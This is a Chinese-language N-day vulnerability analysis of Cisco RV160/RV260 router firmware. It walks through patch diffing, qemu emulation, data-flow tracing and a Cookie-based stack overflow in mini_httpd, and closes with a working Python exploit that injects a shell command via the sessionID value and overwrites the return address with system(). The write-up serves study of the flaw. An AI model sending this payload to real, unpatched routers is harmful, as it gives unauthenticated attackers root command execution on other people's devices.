1、漏洞描述
官网描述:Cisco Small Business RV160、RV160W、RV260、RV260P 和 RV260W VPN 路由器基于 Web 的管理界面中存在多个漏洞,可能允许未经身份验证的远程攻击者以root用户身份在受影响的设备上执行任意代码。这些漏洞在固件v1.0.01.02版本被修复。
除此之外,没有任何关于此漏洞的信息,参考b0ldfrev师傅的做法,也是一般分析N day漏洞的做法,通过比较补丁修复来确认漏洞点的位置。
从官网下载存在漏洞的版本以及修复后下一个版本固件:
https://software.cisco.com/download/home/286316464/type/282465789/release/1.0.01.01
下面使用binwalk解压固件,尝试寻找存在漏洞的二进制程序(如果binwalk不能正常解压可以试着卸载后源码安装)
binwalk -Me RV16X_26X-v1.0.01.01-2020-08-17-11-09-01-AM.img
从漏洞的文字描述中可以看到,漏洞存在于web服务中,基于以往分析路由器漏洞的经验大胆猜测,可能还是与httpd服务有关。
搜索关键字,可以看到匹配的二进制文件mini_httpd以及对应的初始化脚本
grep -r httpd
使用IDA插件diaphora对比两个版本固件中的mini_httpd文件,定位到修改的函数,即可能的漏洞点位置
2、固件模拟
FAQ:启动qemu虚拟机出现问题,提示sd 卡大小不是 2 的幂
解决:按提示修改sd卡文件的大小
qemu-img resize debian_wheezy_armhf_standard.qcow2 32G
我们采用系统模拟来启动固件:
下载系统模拟需要的系统镜像,内核以及initrd(一个启动时存在于内存的文件系统),下载标准版镜像即可。
https://people.debian.org/~aurel32/qemu/armhf/
#启动qemu虚拟机 #新建一个tap0网卡与主机通信 sudo tunctl -t tap0 -u `whoami` sudo ifconfig tap0 192.168.2.1/24 #启动qemu qemu-system-arm -M vexpress-a9 -kernel vmlinuz-3.2.0-4-vexpress -initrd initrd.img-3.2.0-4-vexpress -drive if=sd,file=debian_wheezy_armhf_standard.qcow2 -append "root=/dev/mmcblk0p2" -net nic -net tap,ifname=tap0,script=no,downscript=no -nographic Root password: root #配置qemu虚拟机网络 ifconfig eth0 192.168.2.2/24 ifconfig #拷贝文件系统至qemu虚拟机 scp -r ./rootfs root@192.168.2.2:/home/user/ #运行 chmod -R 777 ./rootfs mount -o bind /dev ./rootfs/dev && mount -t proc /proc ./rootfs/proc chroot ./rootfs sh ./mini_httpd
产生报错,定位报错点
错误原因为socket设置套接字时错误,对我们要分析的服务的启动不影响,直接hook掉
安装编译ARM所需要的依赖:
sudo apt install libncurses5-dev gcc-arm-linux-gnueabi build-essential synaptic gcc-aarch64-linux-gnu
gcc-arm-linux-gnueabi所采用的是glibc,Cisco RV160W则采用的是eglibc,但二者相互兼容,所以直接用gcc-arm-linux-gnueabi编译。
// 编译命令:arm-linux-gnueabi-gcc -shared -fPIC hook.c -o hook.so
#include <stdio.h>
#include <stdlib.h>
#include<sys/socket.h>
int setsockopt(int sockfd, int level, int optname, const void *optval, socklen_t optlen){
return 1;
}
将编译得到的hook.so文件上传到qemu
scp -r ./hook.so root@192.168.2.2:/home/user/rootfs/
再次执行:
LD_PRELOAD=./hook.so ./usr/sbin/mini_httpd
访问web页面,产生报错
根据报错信息中的字符串定位到此处,直接将跳转指令nop掉
再次执行mini_httpd,访问web页面,表明启动成功
3、漏洞分析
根据之前的补丁对比,可以发现函数漏洞点位于sub_15CE4函数,可以猜测漏洞成因为没有限制用户输入的参数长度,导致strcpy函数缓冲区溢出。
接下来具体进行函数调用链分析以及数据流跟踪
函数调用链分析:
通过IDA静态交叉引用和gdb动态调试得到以下调用链:
sub_15CE4 ← sub_16138 ← sub_1625C ← sub_16F60 ← sub_11FA0(main函数)
数据流跟踪:
sub_15CE4 函数中,src为a1流入
交叉引用到上一层,sub_16138函数中,s1为a1流入
交叉引用到上一层,sub_1625C函数中,sub_16138函数的a1为sub_1625C函数的a1。
交叉引用到上一层,sub_16F60函数中,sub_1625C函数的a1为dword_35190。
dword_35190为nptr传入,nptr与s1存在数据依赖关系,s1则与用户输入的cookie有关,如果未经限制,用户的输入可以造成栈溢出。
接下来分析跳转分支需要满足的条件:
sub_16F60 ← sub_11FA0(main函数),不需要满足条件
sub_1625C ← sub_16F60,需要有一个Cookie字段,另外,需要满足一个登录验证函数,判断访问的url是否需要登录。所以访问的url中需要包含其中任意字段,我们选择help。
sub_16138 ← sub_1625C,需要判断传入的cookie是否为空,为空则直接返回。
sub_15CE4 ← sub_16138 ,需要包含sessionID字段,并且过滤cookie中的空格
漏洞点函数sub_15CE4中
至此,可以分析清楚,由于未对用户输入的cookie参数做长度校验,导致缓冲区溢出。
4、漏洞利用
查看漏洞点函数的栈分布,可以得出偏移为256+12=268
gdb调试发现,在漏洞点函数sub_15CE4返回时,r0指向sessionID=之后的字符串,所以将命令布置在=之后,使用system函数覆盖返回地址,实现远程命令执行。
所以exp为:
import requests
url = "http://192.168.2.2"
payload = ("sessionID="+"ls"+";").ljust(268,"a")+"\x1c\xb1\x01"
url= url+"/help"
head= {'Cookie':payload}
r=requests.get(url,headers=head,verify=False)
漏洞利用演示步骤:
我们使用qemu-system+gdb的调试方式,需要先下载一个gdbsever,在下载连接中选取对应的版本
https://github.com/akpotter/embedded-toolkit/tree/master/prebuilt_static_bins/gdbserver
将对应的gdbserver传入qemu虚拟机中:
scp -r ./gdbserver-7.7.1-armhf-eabi5-v1-sysv root@192.168.2.2:/home/user/rootfs/
qemu虚拟机中:
#启动漏洞程序
LD_PRELOAD=./hook.so mini_httpd
#查看进程pid
ps | grep mini_httpd
#启动gdbserver
./gdbserver-7.7.1-armhf-eabi5-v1-sysv :12345 --attach pid
主机中:
#启动gdb-multiarch
gdb-multiarch ./usr/sbin/mini_httpd
set architecture arm
set endian little
target remote 192.168.2.2:12345
#新开一个终端
python exp.py
可以看到,system成功覆盖返回地址,并执行pwd
成功执行ls命令
5、总结
通过此次漏洞分析,学习了固件模拟中的patch和hook方法;了解了逆向数据流分析的过程;熟悉了qemu-system+gdb调试的方法(江下枫师傅讲的很清楚)。
6、参考链接
https://bbs.pediy.com/thread-268758.htm#msg_header_h2_2